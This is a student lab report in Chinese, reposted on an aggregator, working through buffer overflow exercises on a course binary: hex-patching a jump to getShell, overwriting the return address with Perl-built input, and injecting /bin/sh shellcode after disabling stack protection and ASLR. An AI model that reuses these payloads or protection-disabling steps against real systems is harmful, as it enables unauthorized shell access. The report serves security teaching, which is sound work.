20222406 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/6 11:43:50/文章来源:https://www.cnblogs.com/wangdarui/p/18448135

20222406 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本周深入学习了缓冲区溢出相关内容,收获颇丰。
一、理论知识学习

  1. 学习了缓冲区溢出的基本知识,包括汇编语言,了解了常见的指令如mov(数据传送)、push(压栈)、pop(出栈)、call(调用函数)等的基本功能。同时,对 Windows 和 Linux 系统下的进程内存管理机制有了更深入的理解,包括用户态和内核态的区别等。
  2. 认识了栈和堆的概念。栈是一种具有后进先出特性的数据结构,用于存储函数调用的上下文信息等;堆则用于动态分配内存。
  3. 复习和加深了对计算机中缓冲区等知识的印象,明白了缓冲区溢出发生的原理,即当向缓冲区写入的数据超过其容量时,可能会覆盖相邻的内存区域,从而导致程序出现异常行为甚至被攻击者利用。

二、实践操作收获

  1. 对实验对象“pwn1”可执行文件进行了手工修改,通过改变程序执行流程,成功实现直接跳转到getShell函数,深入理解了程序的执行逻辑和控制流。
  2. 利用foo函数的缓冲区溢出漏洞(Bof),构造攻击输入字符串,覆盖返回地址,成功触发了getShell函数,亲身体验了缓冲区溢出攻击的过程。
  3. 尝试注入自己制作的 shellcode 并运行,进一步掌握了缓冲区溢出攻击的高级技术。
  4. 学会了在 Linux 环境下使用基本操作指令,如cd(切换目录)、ls(列出目录内容)、chmod(修改文件权限)、cat(查看文件内容)等。
  5. 掌握了编译器和调试器的知识,能够在 Linux 下利用gdb进行程序调试,包括设置断点、查看寄存器状态、跟踪程序执行流程等。
  6. 了解了反汇编的概念,并能够动手实现简单的十六进制编辑,通过反汇编分析程序的结构和功能,为理解和防范缓冲区溢出攻击提供了有力工具。

通过本周的学习和实践,不仅对缓冲区溢出攻击有了更全面的认识,也提高了自己的计算机安全意识和实践能力。

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

2.1.1 下载目标文件pwn1,反汇编

点击查看2.1.1全部输入代码
cd /home/kali/Desktop/
ls
objdump -d pwn20222406 | more

首先,将学习通资料中的pwn1解压后拖入虚拟机中即可完成下载,
此处通过重命名即可修改文件名称,下图所示文件名称为pwn20222406

随后先通过cd /home/kali/Desktop/进入桌面,
再输入ls查看文件是否存在,
最后输入命令objdump -d pwn20222406 | more查看代码:

通过观察,下图中白色高光区域的汇编指令call 8048491是说这条指令将调用位于地址8048491处的foo函数,
其对应机器指令为“e8 d7ffffff”,e8即跳转之意:

2.1.2 修改可执行文件

点击查看2.1.2全部输入代码
vi pwn20222406
:%!xxd
/d7ff
i
:%!xxd -r
:wq

输入命令vi pwn20222406

即可出现如下内容:

随后,先按ESC键,再输入:%!xxd,将显示模式切换为16进制模式:

输入命令/d7ff查找要修改的内容:

再输入i进入插入模式,修改d7为c3:

按下ESC键退出插入模式,输入命令:%!xxd -r即可转换16进制为原格式:

再输入:wq保存并退出vi。

2.1.3 再反汇编查看call指令是否正确调用getShell

点击查看2.1.3全部输入代码
objdump -d pwn20222406 | more
./pwn20222406

还是输入命令objdump -d pwn20222406 | more即可发现call指令发生了变化:

这时输入命令./pwn20222406运行代码可以发现可以得到shell提示符:

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

2.2.1 反汇编,了解程序的基本功能

点击查看2.2.1全部输入代码
objdump -d pwn20222406 | more

首先,使用未被修改过的pwn文件,输入命令objdump -d pwn20222406 | more
目标是触发函数getShell

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,
这里读入字符串,但系统只预留了56字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址:

下面的call调用foo,同时在堆栈上压上返回地址值:80484ba

2.2.2 确认输入字符串哪几个字符会覆盖到返回地址

点击查看2.2.2全部输入代码
gdb pwn20222406
1111111122222222333333334444444412345678
info r

首先输入命令gdb pwn20222406

随后输入命令r

随后输入字符串1111111122222222333333334444444412345678,再输入命令info r
1234那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,
那只要把这四个字符替换为getShell的内存地址,输给pwn,pwn就会运行getShell

2.2.3 确认用什么值来覆盖返回地址

点击查看2.2.3全部输入代码
break *0x804849d
info break
r
info r

getShell的内存地址,通过反汇编时可以看到,即0804847d
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,
还是输入11111111222222223333333344444444\x7d\x84\x04\x08
相继输入命令break *0x804849d

命令info break

命令r

命令info r

对比之前eip 0x34333231 0x34333231,正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08

2.2.4 构造输入字符串

点击查看2.2.4全部输入代码
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
(cat input; cat) | ./pwn20222406
ls
exit
ls
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222406
ls
exit
ls

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件,
\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键,
输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

可以使用16进制查看指令xxd查看input文件的内容是否如预期,
输入命令xxd input

然后将input的输入,通过管道符“|”,作为pwn的输入,
输入命令(cat input; cat) | ./pwn20222406,在其中输入ls

随后输入命令(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222406,在其中输入ls

2.3 注入Shellcode并执行

2.3.1 准备一段Shellcode

shellcode就是一段机器指令(code),
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
以下实践即使用shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2.3.2 准备工作

点击查看2.3.2全部输入代码
execstack -s pwn20222406
execstack -q pwn20222406
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

设置堆栈可执行,输入命令execstack -s pwn20222406
随后输入execstack -q pwn20222406
输入more /proc/sys/kernel/randomize_va_space
关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
输入more /proc/sys/kernel/randomize_va_space

2.3.3 构造要注入的payload

点击查看2.3.3全部输入代码
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20222406
ps -ef | grep pwn20222406
gdb
attach 13017
disassemble foo
break *0x080484ae
c
info r esp
x/16x 0xffffd31c
x/16x 0xffffd300
x/16x 0xffffd2fc
c
quit
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn20222406
ls

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。

因为retaddr在缓冲区的位置是固定的,shellcode只能在它前后。
该buf足够放这个shellcode,结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。

输入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,需要将其改为这段shellcode的地址,
特别提醒:最后一个字符不能是\x0a。
接下来我们来确定\x4\x3\x2\x1到底该填什么,
输入(cat input_shellcode;cat) | ./pwn20222406

开启另一个终端,输入ps -ef | grep pwn20222406

找到pwn的进程号是:13017
输入gdb后输入attach 13017调试这个进程:

输入disassemble foo通过设置断点,来查看注入buf的内存地址:

断在高光区域,这时注入的东西都大堆栈上了,ret结束,就跳到所覆盖的retaddr处。
输入break *0x080484ae

在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
输入c

输入info r esp

相继输入x/16x 0xffffd31cx/16x 0xffffd300x/16x 0xffffd2fc

输入c

这个返回地址占位也是对的,
输入quit退出,
输入perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再输入xxd input_shellcode

输入(cat input_shellcode;cat) | ./pwn20222406ls

3.问题及解决方案

  • 问题1:在2.2.2处直接输入命令无法正常进行,显示信息为:

    而在输入安装命令后还是无法正常安装:
  • 问题1解决方案:输入命令sudo apt-get update进行更新后再重新输入命令sudo apt install gdb

    待进度条到达100%时再输入命令sudo apt install gdb-minimal即可继续进行实验。
  • 问题2:在2.3.2处直接输入命令无法正常进行,显示信息为:
  • 问题2解决方案:输入命令sudo apt-get install prelink,此时会显示:

    有两种解决方法:
  1. 分别输入命令sudo apt-get updatesudo apt-get upgrade安装execstack,但部分主机无法实现
  2. 从该网页下载文件http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb需要复制到浏览器下载,否则显示不安全
    下载完成后,将文件拖拽至虚拟机,输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可解压:

4.学习感悟、思考等

一、技术层面的收获

  1. 汇编语言与内存管理:学习了汇编语言中的常见指令,如movpushpopcall等。
  2. 栈与堆的概念:明确了栈和堆在计算机内存中的不同作用。栈作为具有后进先出特性的数据结构,用于存储函数调用的上下文信息,其严格的进出规则保证了程序执行的有序性。而堆则用于动态分配内存,为程序的灵活性提供了支持。
  3. 缓冲区溢出原理与实践:通过手工修改可执行文件、构造攻击输入字符串以及注入 shellcode 等实践操作,亲身体验了缓冲区溢出攻击的过程。明白了当向缓冲区写入的数据超过其容量时,可能会覆盖相邻的内存区域,从而导致程序出现异常行为甚至被攻击者利用。
  4. 工具的掌握:熟练掌握了在 Linux 环境下的基本操作指令,如cdlschmodcat等。

二、安全意识的提升

  1. 漏洞的危险性:缓冲区溢出漏洞是一种常见但极具危险性的安全漏洞。通过实验,我深刻认识到即使是一个看似简单的程序,也可能存在被攻击者利用的漏洞。这提醒我在编写程序时,要始终保持警惕,严格检查输入数据的长度和合法性,避免缓冲区溢出等安全问题的发生。
  2. 安全防护的重要性:在实验过程中,遇到了一些问题,如安装调试工具时出现的困难。这让我意识到,在实际的系统安全防护中,不仅要关注软件的功能实现,还要确保所使用的工具和环境的安全性。
  3. 持续学习的必要性:网络与系统攻防技术不断发展,新的漏洞和攻击手段层出不穷。通过这次实验,我认识到自己在计算机安全领域还有很多知识需要学习。只有不断更新自己的知识体系,关注最新的安全动态,才能更好地应对日益复杂的安全挑战。

总之,通过本次实验,我在技术能力和安全意识方面都有了很大的提升。我将继续努力学习,不断探索网络与系统攻防技术的奥秘,为保障网络空间安全贡献自己的一份力量。

参考资料

  • 《0x11_MAL_逆向与Bof基础.md》
  • 《Linux中“没有可用的软件包XX,但是它被其他软件包引用”的解决方法》
  • 《关于找不到execstack的问题》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/808973.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Markdown格式学习

Markdown格式学习 掌握内容 标题:使用 # 来表示不同级别的标题,如 # 表示一级标题,## 表示二级标题 有序列表:使用数字加点来创建,如 1., 2.。 链接:使用 链接描述。 强调:使用 * 或 _ 来表示斜体(两边各一个),使用两个 ** 或 __ 来表示粗体。 表格:使用 | 和 - 来创…

免费在线音频转字幕网站 All In One

免费在线音频转字幕网站 All In One 利用 AI 将语音转成文本 free online Speech to Text websites免费在线音频转字幕网站 All In One利用 AI 将语音转成文本free online Speech to Text websites 每天三次免费https://turboscribe.ai/zh-CN/dashboard demos(🐞 反爬虫测试!…

英璞来(imprai)LLMs企业级智能助理:让大语言模型应用触手可及

在这个信息爆炸的时代,人工智能和大数据技术正在改变我们的生活。而随着大语言模型的广泛应用,如何快速、高效地将这些模型集成到各种应用场景中,成为了一个亟待面对的问题。今天,我们要向您介绍一款名为英璞来(imprai)的开箱即用的企业级智能助理平台,它能够让您轻松获…

服贸会上的科技闪耀之星:璞华易研PLM系统引领产品研发潮流

2024年中国国际服务贸易交易会(以下简称为“服贸会”)于9月在北京盛大开幕,再次汇聚全球目光,共襄智慧服务的盛宴。本届服贸会秉承“全球服务、互惠共享”的核心理念,聚焦“共享智慧服务,共促开放发展”,为参会者搭建了一个集展览展示、洽谈推介、成果发布于一体的多元化…

璞华科技珠海采筑:通过SRM系统实现采购管理一体化和精细化

SRM供应商关系管理应该怎么做?如何实现采购管理一体化?近日,聚焦建材采购交易领域的服务商珠海采筑和SRM系统提供商璞华科技通过合作给出了一个现实的回答:通过SRM系统,聚焦使用者视角,以数据为主线,实现采购管理的一体化和精细化。 珠海采筑电子商务有限公司 珠海采筑电…

2024-2025-1 20241408 《计算机基础与程序设计》第二周学习总结

2024-2025-1 20241408 《计算机基础与程序设计》第二周学习总结 作业信息这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标 数字化、信息安全、自学教材计算机科学概论(第七版)…

说明文档

这篇文档主要介绍《基于YOLOv8的农田病虫害检测与分析》的代码实现部分,整篇论文的目的主要是改进YOLOv8的网络结构,使其在检测病虫害的精度和实时性上有所提升。接下来,我将介绍如何从零开始搭建起本项目。安装Python 到python的官方网站:https://www.python.org/下载,安…

13-网络安全漏洞防护技术原理与应用

13.1 概述 1)概念 网络安全漏洞又称为脆弱性,简称漏洞。 漏洞一般是致使网络信息系统安全策略相冲突的缺陷,这种缺陷通常称为安全隐患。 安全漏洞的影响主要有机密性受损、完整性破坏、可用性降低、抗抵赖性缺失、可控制性下降、真实性不保等。 根据漏洞的补丁状况,可将漏洞…

2024-2025-1 20241305 《计算机基础与程序设计》第二周学习总结

作业信息这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP))这个作业要求在哪里 2024-2025-1计算机基础与程序设计第二周作业(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276))这个作业…

2024-2025-1 20241318 《计算机基础与程序设计》第二周学习总结

这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标 <数字化、信息安全、自学教材(计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计…

【THM】The Marketplace练习

脚本小子是这样的,黑客只要写POC就可以,可是脚本小子要考虑的事情就多了。 学到了新知识:利用XSS漏洞进行钓鱼、通过Token获取管理员权限、利用docker提权【THM】The Marketplace练习 与本文相关的TryHackMe实验房间链接:TryHackMe | The Marketplace 简介:你能接管marke…

Windows计划任务出现0x1错误结果

Windows计划任务出现0x1错误结果现象 解决方法 结果 现象 参考不少的文章,基本上都是说因为权限的问题,但试了N次都不行,仍然报0x1的错误结果,亲测解决方法说明如下; 1.脚本本身没问题,手动本地可以执行; 2.系统版本 Windows 10 专业工作站版 版本号 21H2 解决方法 在设…